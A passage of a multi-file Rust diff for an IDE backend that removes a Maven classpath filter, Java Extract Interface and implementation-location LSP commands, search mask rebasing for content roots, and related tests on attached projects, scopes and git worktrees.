/// siblings' `target/classes`; those in `snapshotted` already run from their snapshot,
|
||||
/// and listing both would make every resource (MyBatis mapper XML) load twice.
|
||||
/// and leave the reason in the run console.
|
||||
fn merge_maven_launch_classpath(
|
||||
class_paths: &mut Vec<String>,
|
||||
info: &mut JavaLaunchInfo,
|
||||
classpath: IdeResult<String>,
|
||||
snapshotted: &[PathBuf],
|
||||
) -> IdeResult<()> {
|
||||
match classpath {
|
||||
Ok(classpath) => {
|
||||
let snapshotted: Vec<_> = snapshotted.iter().map(|p| p.to_string_lossy()).collect();
|
||||
append_unique_class_paths(
|
||||
class_paths,
|
||||
std::env::split_paths(&classpath)
|
||||
.map(|path| path.to_string_lossy().into_owned())
|
||||
.filter(|path| !snapshotted.iter().any(|original| same_entry(path, original, cfg!(windows)))),
|
||||
std::env::split_paths(&classpath).map(|path| path.to_string_lossy().into_owned()),
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
@@ -480,46 +471,20 @@ mod tests {
|
||||
let mut class_paths = vec!["snapshot.jar".to_owned()];
|
||||
let mut info =
|
||||
JavaLaunchInfo { class_paths: vec!["snapshot.jar".into(), "jdtls.jar".into()], ..Default::default() };
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[]).unwrap();
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven)).unwrap();
|
||||
assert_eq!(class_paths, ["snapshot.jar", "maven.jar"]);
|
||||
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")), &[])
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")))
|
||||
.unwrap();
|
||||
assert_eq!(class_paths, ["snapshot.jar", "maven.jar", "jdtls.jar"]);
|
||||
assert!(info.hints[0].contains("offline dependency"), "{:?}", info.hints);
|
||||
}
|
||||
|
||||
/// Maven's launch classpath lists the module's and its reactor siblings' outputs, which
|
||||
/// the launch already runs from a snapshot: listed twice, MyBatis loads each mapper XML
|
||||
/// twice and fails with "XML fragments parsed from previous mappers already contains value".
|
||||
#[test]
|
||||
fn maven_classpath_leaves_out_outputs_the_launch_runs_from_a_snapshot() {
|
||||
let web = PathBuf::from("/work/haoke/haoke-web/target/classes");
|
||||
let service = PathBuf::from("/work/haoke/haoke-service/target/classes");
|
||||
let maven = std::env::join_paths([
|
||||
"/work/haoke/haoke-web/target/classes/",
|
||||
"/work/haoke/haoke-service/target/classes",
|
||||
"/work/haoke/haoke-api/target/classes",
|
||||
"/m2/mybatis.jar",
|
||||
])
|
||||
.unwrap()
|
||||
.to_string_lossy()
|
||||
.into_owned();
|
||||
let mut class_paths = vec!["/cache/launch-x/0".to_owned(), "/cache/launch-x/1".to_owned()];
|
||||
let mut info = JavaLaunchInfo::default();
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[web, service]).unwrap();
|
||||
assert_eq!(
|
||||
class_paths,
|
||||
["/cache/launch-x/0", "/cache/launch-x/1", "/work/haoke/haoke-api/target/classes", "/m2/mybatis.jar"]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cancelled_maven_classpath_probe_propagates_without_fallback() {
|
||||
let mut class_paths = vec!["snapshot.jar".to_owned()];
|
||||
let mut info = JavaLaunchInfo { class_paths: vec!["jdtls.jar".into()], ..Default::default() };
|
||||
let error =
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled()), &[]).unwrap_err();
|
||||
let error = merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled())).unwrap_err();
|
||||
assert_eq!(error.kind, ErrorKind::Cancelled);
|
||||
assert_eq!(class_paths, ["snapshot.jar"]);
|
||||
assert!(info.hints.is_empty());
|
||||
|
||||
@@ -550,24 +550,6 @@ pub async fn lsp_implementations(
|
||||
result
|
||||
}
|
||||
|
||||
/// Refines the implementations `targets` of the method at `pos` to their declarations (Java
|
||||
/// dependencies' class files point at the start of the class). Cancel with
|
||||
/// `cancel_request(request)`.
|
||||
pub async fn lsp_implementation_locations(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: RequestId,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
targets: Vec<Location>,
|
||||
) -> IdeResult<Vec<Location>> {
|
||||
let lsp = host.project(window)?.lsp.clone();
|
||||
let (_, cancel) = begin_position_request(host, window, request, doc, pos).await?;
|
||||
let result = lsp.implementation_locations(doc, pos, targets, cancel).await;
|
||||
host.end_request(request);
|
||||
result
|
||||
}
|
||||
|
||||
/// Go to Implementation of the symbol at `pos`. Implementations found before a slower
|
||||
/// search for the rest (Java: the project's, before the dependencies') arrive on
|
||||
/// `on_partial`; the result has them all. Cancel with `cancel_request(request)`.
|
||||
@@ -1241,7 +1223,7 @@ pub async fn lsp_change_signature(
|
||||
}
|
||||
|
||||
fn json_argument(args: &str) -> IdeResult<serde_json::Value> {
|
||||
serde_json::from_str(args).map_err(|e| IdeError::invalid(format!("invalid refactoring arguments: {e}")))
|
||||
serde_json::from_str(args).map_err(|e| IdeError::invalid(format!("invalid move arguments: {e}")))
|
||||
}
|
||||
|
||||
fn json_strings(values: Vec<serde_json::Value>) -> Vec<String> {
|
||||
@@ -1307,50 +1289,6 @@ pub async fn lsp_java_move(
|
||||
.await
|
||||
}
|
||||
|
||||
/// The Java class to extract an interface from: its members and the packages for the interface.
|
||||
pub async fn lsp_extract_interface_info(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: RequestId,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
) -> IdeResult<ExtractInterfaceInfo> {
|
||||
let project = host.project(window)?;
|
||||
let cancel = host.begin_request(request);
|
||||
let result = project.lsp.extract_interface_info(doc, pos, cancel).await;
|
||||
host.end_request(request);
|
||||
result
|
||||
}
|
||||
|
||||
/// Checks extracting a Java interface and computes its edit without applying it; `destination`
|
||||
/// is one of the info's packages.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub async fn lsp_extract_interface(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: RequestId,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
members: Vec<String>,
|
||||
name: String,
|
||||
destination: String,
|
||||
confirmation: Option<String>,
|
||||
) -> IdeResult<ServerRefactored> {
|
||||
let destination = json_argument(&destination)?;
|
||||
let project = host.project(window)?;
|
||||
let cancel = host.begin_request(request);
|
||||
let result = project.lsp.extract_interface(doc, pos, members, name, destination, confirmation, cancel).await;
|
||||
host.end_request(request);
|
||||
let mut extracted = result?;
|
||||
blocking(move || {
|
||||
if let Some(edit) = &mut extracted.edit {
|
||||
project.documents.prepare_workspace_edit(edit)?;
|
||||
}
|
||||
Ok(extracted)
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
pub async fn lsp_rename(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
@@ -2005,17 +1943,6 @@ pub(crate) fn register(d: &mut Dispatcher) {
|
||||
let on_partial = c.sender("onPartial")?;
|
||||
lsp_goto_implementation(&c.host, &c.window, c.arg("request")?, c.arg("doc")?, c.arg("pos")?, on_partial).await
|
||||
});
|
||||
d.add("lsp_implementation_locations", |c| async move {
|
||||
lsp_implementation_locations(
|
||||
&c.host,
|
||||
&c.window,
|
||||
c.arg("request")?,
|
||||
c.arg("doc")?,
|
||||
c.arg("pos")?,
|
||||
c.arg("targets")?,
|
||||
)
|
||||
.await
|
||||
});
|
||||
d.add(
|
||||
"lsp_resolve_class_file",
|
||||
|c| async move { lsp_resolve_class_file(&c.host, &c.window, c.arg("path")?).await },
|
||||
@@ -2101,23 +2028,6 @@ pub(crate) fn register(d: &mut Dispatcher) {
|
||||
)
|
||||
.await
|
||||
});
|
||||
d.add("lsp_extract_interface_info", |c| async move {
|
||||
lsp_extract_interface_info(&c.host, &c.window, c.arg("request")?, c.arg("doc")?, c.arg("pos")?).await
|
||||
});
|
||||
d.add("lsp_extract_interface", |c| async move {
|
||||
lsp_extract_interface(
|
||||
&c.host,
|
||||
&c.window,
|
||||
c.arg("request")?,
|
||||
c.arg("doc")?,
|
||||
c.arg("pos")?,
|
||||
c.arg("members")?,
|
||||
c.arg("name")?,
|
||||
c.arg("destination")?,
|
||||
c.arg("confirmation")?,
|
||||
)
|
||||
.await
|
||||
});
|
||||
d.add("lsp_java_move_destinations", |c| async move {
|
||||
lsp_java_move_destinations(&c.host, &c.window, c.arg("request")?, c.arg("doc")?, c.arg("kind")?, c.arg("args")?)
|
||||
.await
|
||||
|
||||
@@ -62,25 +62,13 @@ pub(crate) fn search_project(
|
||||
_ => None,
|
||||
};
|
||||
let workspace = ide_workspace::workspace::Workspace::load(root)?.is_some_and(|w| w.is_container(root));
|
||||
// A directory inside a content root is searched from that root, so that the project's
|
||||
// exclusions (a `.*` name) meet the paths there as in a whole-project search.
|
||||
let within = match &query.scope {
|
||||
ide_search::SearchScope::Directory { path } => {
|
||||
project.content_roots().into_iter().filter(|r| path.0.starts_with(r)).max_by_key(|r| r.components().count())
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
let include_root = within.is_none()
|
||||
&& (!workspace
|
||||
|| matches!(
|
||||
query.scope,
|
||||
ide_search::SearchScope::Directory { .. } | ide_search::SearchScope::Files { .. }
|
||||
));
|
||||
let include_root = !workspace
|
||||
|| matches!(query.scope, ide_search::SearchScope::Directory { .. } | ide_search::SearchScope::Files { .. });
|
||||
let content_roots = match query.scope {
|
||||
ide_search::SearchScope::Project
|
||||
| ide_search::SearchScope::FileSet { .. }
|
||||
| ide_search::SearchScope::Pattern { .. } => project.content_roots(),
|
||||
_ => within.into_iter().collect(),
|
||||
_ => Vec::new(),
|
||||
};
|
||||
let filter = |rel: &str| match set {
|
||||
Some(ProjectFileSet::Production) => !roots.is_test(rel),
|
||||
@@ -96,19 +84,6 @@ pub(crate) fn search_project(
|
||||
let mut total = SearchSummary::default();
|
||||
for dir in std::iter::once(root).filter(|_| include_root).chain(&content_roots) {
|
||||
let mut remaining = query.clone();
|
||||
// A root inside the project (one its walk skips) goes by its path there.
|
||||
let prefix = (dir != root).then(|| match dir.strip_prefix(root) {
|
||||
Ok(rel) if !workspace => rel.to_string_lossy().replace('\\', "/"),
|
||||
_ => dir.file_name().unwrap_or_default().to_string_lossy().into_owned(),
|
||||
});
|
||||
if let Some(prefix) = &prefix {
|
||||
remaining.include = rebase_masks(&query.include, prefix);
|
||||
remaining.exclude = rebase_masks(&query.exclude, prefix);
|
||||
// Only paths elsewhere were asked for.
|
||||
if remaining.include.is_empty() && !query.include.is_empty() {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
let max = if query.max_matches == 0 { 10_000 } else { query.max_matches };
|
||||
remaining.max_matches = max.saturating_sub(total.matches).max(1);
|
||||
let summary = ide_search::search_in_context(
|
||||
@@ -119,7 +94,12 @@ pub(crate) fn search_project(
|
||||
ide_search::TextSource { overlay: &|p| project.documents.search_text_of(p), decode: &decode },
|
||||
cancel,
|
||||
&|mut file| {
|
||||
if let Some(prefix) = &prefix {
|
||||
if dir != root {
|
||||
// A root inside the project (one its walk skips) goes by its path there.
|
||||
let prefix = match dir.strip_prefix(root) {
|
||||
Ok(rel) if include_root => rel.to_string_lossy().replace('\\', "/"),
|
||||
_ => dir.file_name().unwrap_or_default().to_string_lossy().into_owned(),
|
||||
};
|
||||
file.rel_path = format!("{prefix}/{}", file.rel_path);
|
||||
}
|
||||
emit(file);
|
||||
@@ -137,41 +117,5 @@ pub(crate) fn search_project(
|
||||
Ok(total)
|
||||
}
|
||||
|
||||
/// Project-relative `masks` (each a comma-separated list) for a search from the content root
|
||||
/// shown as `prefix`: paths below it lose the prefix, other paths can match nothing there and
|
||||
/// are dropped, names and `**/` patterns (`*.rs`, `**/build/**`) stay as they are.
|
||||
fn rebase_masks(masks: &[String], prefix: &str) -> Vec<String> {
|
||||
let prefix = format!("{}/", prefix.trim_end_matches('/'));
|
||||
masks
|
||||
.iter()
|
||||
.filter_map(|group| {
|
||||
let kept: Vec<String> = group
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|m| !m.is_empty())
|
||||
.filter_map(|mask| {
|
||||
let (negated, body) = mask.strip_prefix('!').map_or(("", mask), |b| ("!", b.trim()));
|
||||
let body = body.trim_start_matches("./").trim_start_matches('/');
|
||||
if !body.contains('/') || body.starts_with("**/") {
|
||||
return Some(mask.to_owned());
|
||||
}
|
||||
body.strip_prefix(&prefix).map(|rest| format!("{negated}{rest}"))
|
||||
})
|
||||
.collect();
|
||||
(!kept.is_empty()).then(|| kept.join(","))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
#[test]
|
||||
fn masks_follow_the_root_they_search() {
|
||||
let masks = vec![".wt/a/src/**, src/**".into(), "*.rs".into(), "!.wt/a/out/**".into(), "**/build/**".into()];
|
||||
assert_eq!(super::rebase_masks(&masks, ".wt/a"), ["src/**", "*.rs", "!out/**", "**/build/**"]);
|
||||
assert_eq!(super::rebase_masks(&["src/**".into()], ".wt/a"), Vec::<String>::new());
|
||||
}
|
||||
}
|
||||
|
||||
mod commands;
|
||||
pub use commands::*;
|
||||
@@ -234,7 +234,7 @@ fn network_error(error: reqwest::Error) -> HostError {
|
||||
}
|
||||
source = e.source();
|
||||
}
|
||||
HostError::Failed(ide_http::client::describe(&error))
|
||||
HostError::Failed(error.to_string())
|
||||
}
|
||||
|
||||
fn redirect_capability(from: &reqwest::Url, to: &reqwest::Url) -> Result<Capability, String> {
|
||||
|
||||
@@ -134,8 +134,7 @@ fn read_remote(url: &str, max: usize, deadline: Duration) -> Result<Vec<u8>, Str
|
||||
super::api::net_runtime().block_on(async move {
|
||||
let failed = |e: reqwest::Error| match e.is_timeout() {
|
||||
true => format!("{url}: no answer in time"),
|
||||
// With its cause: "error sending request" alone does not say what failed.
|
||||
false => format!("{url}: {}", ide_http::client::describe(&e.without_url())),
|
||||
false => format!("{url}: {e}"),
|
||||
};
|
||||
let too_large = || format!("{url}: larger than {} MiB", max >> 20);
|
||||
let mut response = client.get(url).timeout(deadline).send().await.map_err(failed)?;
|
||||
@@ -588,16 +587,6 @@ mod tests {
|
||||
assert!(reachable_from("/srv/market/index.json", "/srv/market/a.oiplugin"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_read_says_why() {
|
||||
// A port nothing listens on: refused.
|
||||
let port = std::net::TcpListener::bind("127.0.0.1:0").unwrap().local_addr().unwrap().port();
|
||||
let url = format!("http://127.0.0.1:{port}/a.oiplugin");
|
||||
let err = read_url(&url, 1 << 20).unwrap_err();
|
||||
assert_eq!(err.matches(&url).count(), 1, "{err}");
|
||||
assert!(err.to_lowercase().contains("refused"), "{err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_server_that_stops_answering_does_not_hold_the_read() {
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
|
||||
@@ -177,7 +177,6 @@ impl Host {
|
||||
let root = member.as_ref().unwrap_or(window_root);
|
||||
ide_sdk::apply::server_launch_overrides(cfg, &effective);
|
||||
ide_sdk::apply::configure_server(cfg, root, server_root, &effective);
|
||||
ide_sdk::apply::configure_vue_module_resolution(cfg, &data_dir);
|
||||
crate::ops::sdk::container_python::configure_server(cfg, &data_dir, root, &effective);
|
||||
if cfg.name == "jdtls" {
|
||||
// A workspace member keeps its build model under its own key (Build Project).
|
||||
|
||||
@@ -309,14 +309,13 @@ pub fn event_sink(peer: Arc<OnceLock<Peer>>, window: Option<String>) -> ide_core
|
||||
|
||||
/// Whether a desktop shows an `event` notification of its server in the window. A server reports
|
||||
/// on its project; what this machine answers or owns itself (MCP approvals, app updates, window
|
||||
/// groups, its own connection to the server) never comes from it.
|
||||
/// groups) never comes from it.
|
||||
pub fn client_accepts(event: &IdeEvent) -> bool {
|
||||
match event {
|
||||
IdeEvent::McpRequest { .. }
|
||||
| IdeEvent::McpRequestClosed { .. }
|
||||
| IdeEvent::WindowGroupsChanged
|
||||
| IdeEvent::WindowFullscreenChanged
|
||||
| IdeEvent::RemoteConnectionLost { .. }
|
||||
| IdeEvent::UpdateStatusChanged { .. }
|
||||
| IdeEvent::UpdateAvailable { .. } => false,
|
||||
IdeEvent::DbSourcesChanged
|
||||
|
||||
@@ -213,79 +213,6 @@ async fn project_path_argument_routes_to_another_open_project() {
|
||||
assert_eq!(reply["result"]["content"][0]["text"], "L1: second project");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn trusted_attached_projects_are_writable_and_reach_the_window_they_are_attached_in() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let base = dunce::canonicalize(h.tmp.path()).unwrap();
|
||||
let (attached, untrusted, other) = (base.join("attached"), base.join("untrusted"), base.join("other"));
|
||||
for dir in [&attached, &untrusted, &other] {
|
||||
std::fs::create_dir_all(dir).unwrap();
|
||||
}
|
||||
ide_workspace::workspace::Workspace::attach(
|
||||
&h.root,
|
||||
"project",
|
||||
vec![h.root.clone(), attached.clone(), untrusted.clone()],
|
||||
)
|
||||
.unwrap();
|
||||
h.host.trust.decide(&attached, true, false).unwrap();
|
||||
|
||||
// Outside the project folder, by absolute path.
|
||||
let file = attached.join("new.txt");
|
||||
h.call("create_new_file", json!({"pathInProject": file, "text": "hello"})).await;
|
||||
assert_eq!(std::fs::read_to_string(&file).unwrap(), "hello");
|
||||
let shown = file.to_string_lossy().replace('\\', "/");
|
||||
let patch = format!("*** Begin Patch\n*** Update File: {shown}\n@@\n-hello\n+patched\n*** End Patch");
|
||||
let output = h.call("apply_patch", json!({ "input": patch })).await;
|
||||
assert!(output.starts_with("1 out of 1"), "{output}");
|
||||
assert!(std::fs::read_to_string(&file).unwrap().starts_with("patched"));
|
||||
for dir in [&untrusted, &other] {
|
||||
let e = h.error("create_new_file", json!({"pathInProject": dir.join("x.txt"), "text": "no"})).await;
|
||||
assert!(e.contains("outside"), "{}: {e}", dir.display());
|
||||
assert!(!dir.join("x.txt").exists());
|
||||
}
|
||||
|
||||
// A `projectPath` naming the attached project reaches the window it is attached in.
|
||||
let registry = Registry::new(h.host.clone());
|
||||
assert!(registry.projects().contains(&attached));
|
||||
let read = tokio::task::spawn_blocking(move || {
|
||||
registry.call(&attached, "read_file", &json!({"file_path": "src/b.txt"}).to_string(), CancellationToken::new())
|
||||
})
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
assert!(read.starts_with("L1: needle"), "{read}");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn files_of_a_project_attached_outside_go_by_their_absolute_path_everywhere() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let attached = dunce::canonicalize(h.tmp.path()).unwrap().join("attached");
|
||||
std::fs::create_dir_all(attached.join("src")).unwrap();
|
||||
std::fs::write(attached.join("src/lib.rs"), "pub fn attached_marker() {}\n").unwrap();
|
||||
let git = std::process::Command::new("git").current_dir(&attached).args(["init", "-q"]).status().unwrap();
|
||||
assert!(git.success());
|
||||
h.host.trust.decide(&attached, true, false).unwrap();
|
||||
ide_host::ops::project::attach_workspace(&h.host, "main", &attached).unwrap();
|
||||
assert!(h.host.project("main").unwrap().index.wait_idle(std::time::Duration::from_secs(10)));
|
||||
let shown = |rel: &str| attached.join(rel).to_string_lossy().replace('\\', "/");
|
||||
|
||||
let files = h.json("search_file", json!({"q":"**/lib.rs"})).await;
|
||||
assert_eq!(files["items"], json!([{ "filePath": shown("src/lib.rs") }]));
|
||||
let symbols = h.json("search_symbol", json!({"q":"attached_marker"})).await;
|
||||
assert_eq!(symbols["items"][0]["filePath"], shown("src/lib.rs"), "{symbols}");
|
||||
assert_eq!(symbols["items"][0]["lineText"], "pub fn attached_marker() {}");
|
||||
let status = h.json("git_status", json!({})).await;
|
||||
let repos: Vec<&str> = status["repositories"]
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|r| r["repositoryPathRelativeToProject"].as_str().unwrap())
|
||||
.collect();
|
||||
assert!(repos.contains(&shown("").trim_end_matches('/')), "{repos:?}");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn mutations_preserve_unsaved_text_and_reject_metadata_and_escapes() {
|
||||
let h = Harness::new();
|
||||
@@ -441,95 +368,6 @@ async fn git_status_and_diff_on_a_temporary_repository() {
|
||||
assert!(!h.tmp.path().join("executed").exists());
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn scope_limits_the_query_tools_to_a_directory() {
|
||||
let h = Harness::new();
|
||||
std::fs::create_dir_all(h.root.join("lib")).unwrap();
|
||||
std::fs::write(h.root.join("lib/c.txt"), "needle\n").unwrap();
|
||||
let paths = |v: &Value| -> Vec<String> {
|
||||
let mut out: Vec<String> =
|
||||
v["items"].as_array().unwrap().iter().map(|i| i["filePath"].as_str().unwrap().to_owned()).collect();
|
||||
out.dedup();
|
||||
out
|
||||
};
|
||||
assert_eq!(paths(&h.json("search_text", json!({"q":"needle","scope":"lib"})).await), ["lib/c.txt"]);
|
||||
assert_eq!(paths(&h.json("search_regex", json!({"q":"need.e","scope":"lib/"})).await), ["lib/c.txt"]);
|
||||
let absolute = h.root.join("src").to_string_lossy().into_owned();
|
||||
assert_eq!(paths(&h.json("search_file", json!({"q":"*.txt","scope":absolute})).await), ["src/a.txt", "src/b.txt"]);
|
||||
// Within the scope, `paths` narrows further.
|
||||
assert_eq!(
|
||||
paths(&h.json("search_text", json!({"q":"needle","scope":"src","paths":["**/b.txt"]})).await),
|
||||
["src/b.txt"]
|
||||
);
|
||||
assert!(h.error("search_text", json!({"q":"needle","scope":"missing"})).await.contains("is not a directory"));
|
||||
assert!(h.error("search_text", json!({"q":"needle","scope":".."})).await.contains("outside the project"));
|
||||
|
||||
let git = |args: &[&str]| {
|
||||
let output = std::process::Command::new("git").current_dir(&h.root).args(args).output().unwrap();
|
||||
assert!(output.status.success(), "{}", String::from_utf8_lossy(&output.stderr));
|
||||
};
|
||||
git(&["init"]);
|
||||
git(&["add", "."]);
|
||||
git(&["-c", "user.name=Test", "-c", "[email protected]", "commit", "-m", "Initial"]);
|
||||
std::fs::write(h.root.join("src/a.txt"), "changed\n").unwrap();
|
||||
std::fs::write(h.root.join("lib/c.txt"), "changed\n").unwrap();
|
||||
let status = h.json("git_status", json!({"scope":"lib"})).await;
|
||||
assert_eq!(status["repositories"].as_array().unwrap().len(), 1);
|
||||
assert_eq!(
|
||||
status["repositories"][0]["entries"],
|
||||
json!([{"pathRelativeToRepository":"lib/c.txt","indexStatus":" ","workTreeStatus":"M"}])
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn scope_reaches_an_attached_worktree_the_repository_ignores() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let git = |dir: &Path, args: &[&str]| {
|
||||
let output = std::process::Command::new("git").current_dir(dir).args(args).output().unwrap();
|
||||
assert!(output.status.success(), "{}", String::from_utf8_lossy(&output.stderr));
|
||||
};
|
||||
git(&h.root, &["init"]);
|
||||
git(&h.root, &["add", "."]);
|
||||
git(&h.root, &["-c", "user.name=Test", "-c", "[email protected]", "commit", "-m", "Initial"]);
|
||||
std::fs::write(h.root.join(".git/info/exclude"), "/.wt/\n").unwrap();
|
||||
git(&h.root, &["worktree", "add", "-q", ".wt/feature"]);
|
||||
let worktree = h.root.join(".wt/feature");
|
||||
h.host.trust.decide(&worktree, true, false).unwrap();
|
||||
ide_host::ops::project::attach_workspace(&h.host, "main", &worktree).unwrap();
|
||||
// Hidden folders excluded by name: `.wt` is one, the worktree's own files are not.
|
||||
ide_host::ops::project::set_settings(
|
||||
&h.host,
|
||||
"main",
|
||||
ide_workspace::settings::SettingsScope::Project,
|
||||
"projectStructure.excludeFiles",
|
||||
"\".*\"",
|
||||
)
|
||||
.unwrap();
|
||||
let found = |args: Value| {
|
||||
let h = &h;
|
||||
async move {
|
||||
let v = h.json("search_text", args).await;
|
||||
let mut out: Vec<String> = v["items"]
|
||||
.as_array()
|
||||
.cloned()
|
||||
.unwrap_or_default()
|
||||
.iter()
|
||||
.map(|i| i["filePath"].as_str().unwrap().to_owned())
|
||||
.collect();
|
||||
out.dedup();
|
||||
out
|
||||
}
|
||||
};
|
||||
let everywhere = found(json!({"q":"needle"})).await;
|
||||
assert!(everywhere.contains(&".wt/feature/src/b.txt".to_owned()), "{everywhere:?}");
|
||||
assert_eq!(
|
||||
found(json!({"q":"needle","scope":".wt/feature/src"})).await,
|
||||
[".wt/feature/src/a.txt", ".wt/feature/src/b.txt"]
|
||||
);
|
||||
assert_eq!(found(json!({"q":"needle","paths":[".wt/feature/src/b.txt"]})).await, [".wt/feature/src/b.txt"]);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn reformat_uses_the_formatter_chain_and_preserves_a_dirty_buffer() {
|
||||
|
||||
@@ -109,7 +109,7 @@ pub async fn check_connection(proxy: &ProxySettings, url: &str, cancel: &Cancell
|
||||
}
|
||||
|
||||
/// reqwest errors with their causes ("error sending request: … connection refused").
|
||||
pub fn describe(e: &reqwest::Error) -> String {
|
||||
pub(crate) fn describe(e: &reqwest::Error) -> String {
|
||||
use std::error::Error;
|
||||
let mut msg = e.to_string();
|
||||
let mut source = e.source();
|
||||
|
||||
@@ -34,16 +34,6 @@ pub struct RunInput<'a> {
|
||||
/// variables, missing includes) fail; transport errors are part of the exchange.
|
||||
pub async fn run(input: RunInput<'_>, cancel: &CancellationToken) -> IdeResult<HttpExchange> {
|
||||
let request = prepare(&input)?;
|
||||
send(request, input.file, cancel).await
|
||||
}
|
||||
|
||||
/// Sends an already prepared request (one the user approved as shown); `file` is the
|
||||
/// request file it came from, for the history.
|
||||
pub async fn send(
|
||||
request: PreparedRequest,
|
||||
file: Option<&Path>,
|
||||
cancel: &CancellationToken,
|
||||
) -> IdeResult<HttpExchange> {
|
||||
let time_ms = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.map(|d| d.as_secs_f64() * 1000.0)
|
||||
@@ -67,7 +57,7 @@ pub async fn send(
|
||||
url: request.url.clone(),
|
||||
status: response.as_ref().map(|r| r.status),
|
||||
total_ms: response.as_ref().map(|r| r.total_ms),
|
||||
file: file.map(IpcPath::from),
|
||||
file: input.file.map(IpcPath::from),
|
||||
error,
|
||||
},
|
||||
request,
|
||||
|
||||
@@ -19,7 +19,6 @@ use std::time::{Duration, Instant};
|
||||
pub(crate) const SERVER: &str = "jdtls";
|
||||
|
||||
pub(crate) mod configuration;
|
||||
mod extract_interface;
|
||||
mod formatter;
|
||||
mod hierarchy;
|
||||
pub(crate) mod jvm_inspect;
|
||||
|
||||
@@ -1,128 +0,0 @@
|
||||
//! Extract Interface through jdtls' own requests: `java/checkExtractInterfaceStatus` lists the
|
||||
//! members of the file's class an interface can declare and the packages it can go to,
|
||||
//! `java/getRefactorEdit` (`extractInterface`) creates the interface, makes the class implement
|
||||
//! it and uses it where possible. The UI picks the name, package and members and applies the edit.
|
||||
use super::COMMAND_TIMEOUT;
|
||||
use super::signature::{RefactorEdit, changed};
|
||||
use crate::types::{ExtractInterfaceInfo, InterfaceMember, ProblemSeverity, RefactoringProblem, ServerRefactored};
|
||||
use crate::{LspManager, convert};
|
||||
use ide_core::{CancellationToken, DocId, IdeError, IdeResult, Pos};
|
||||
use serde::Deserialize;
|
||||
use serde_json::{Value, json};
|
||||
|
||||
const FEATURE: &str = "Extract Interface";
|
||||
|
||||
#[derive(Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
struct Status {
|
||||
#[serde(default)]
|
||||
members: Vec<InterfaceMember>,
|
||||
#[serde(default)]
|
||||
sub_type_name: String,
|
||||
#[serde(default)]
|
||||
destination_response: Destinations,
|
||||
}
|
||||
|
||||
#[derive(Default, Deserialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
struct Destinations {
|
||||
#[serde(default)]
|
||||
destinations: Vec<Value>,
|
||||
}
|
||||
|
||||
fn info_of(status: Option<Status>) -> IdeResult<ExtractInterfaceInfo> {
|
||||
let status = status
|
||||
.filter(|s| !s.sub_type_name.is_empty())
|
||||
.ok_or_else(|| IdeError::invalid("The file should declare a class"))?;
|
||||
Ok(ExtractInterfaceInfo {
|
||||
class_name: status.sub_type_name,
|
||||
members: status.members,
|
||||
packages: status.destination_response.destinations.iter().map(Value::to_string).collect(),
|
||||
})
|
||||
}
|
||||
|
||||
impl LspManager {
|
||||
/// The class of the file at `doc`, its members and the packages for the interface.
|
||||
pub async fn extract_interface_info(
|
||||
&self,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
cancel: CancellationToken,
|
||||
) -> IdeResult<ExtractInterfaceInfo> {
|
||||
let (snap, t) = self.jdtls_target(doc, FEATURE).await?;
|
||||
let params = Self::signature_context(&snap, &t, pos);
|
||||
let status: Option<Status> =
|
||||
self.call(&t, "java/checkExtractInterfaceStatus", params, Some(&cancel), COMMAND_TIMEOUT).await?;
|
||||
if cancel.is_cancelled() {
|
||||
return Err(IdeError::cancelled());
|
||||
}
|
||||
info_of(status)
|
||||
}
|
||||
|
||||
/// Checks extracting `members` into the interface `name` in `package` (a package from
|
||||
/// [`Self::extract_interface_info`]) and computes the edit without applying it.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub async fn extract_interface(
|
||||
&self,
|
||||
doc: DocId,
|
||||
pos: Pos,
|
||||
members: Vec<String>,
|
||||
name: String,
|
||||
package: Value,
|
||||
confirmation: Option<String>,
|
||||
cancel: CancellationToken,
|
||||
) -> IdeResult<ServerRefactored> {
|
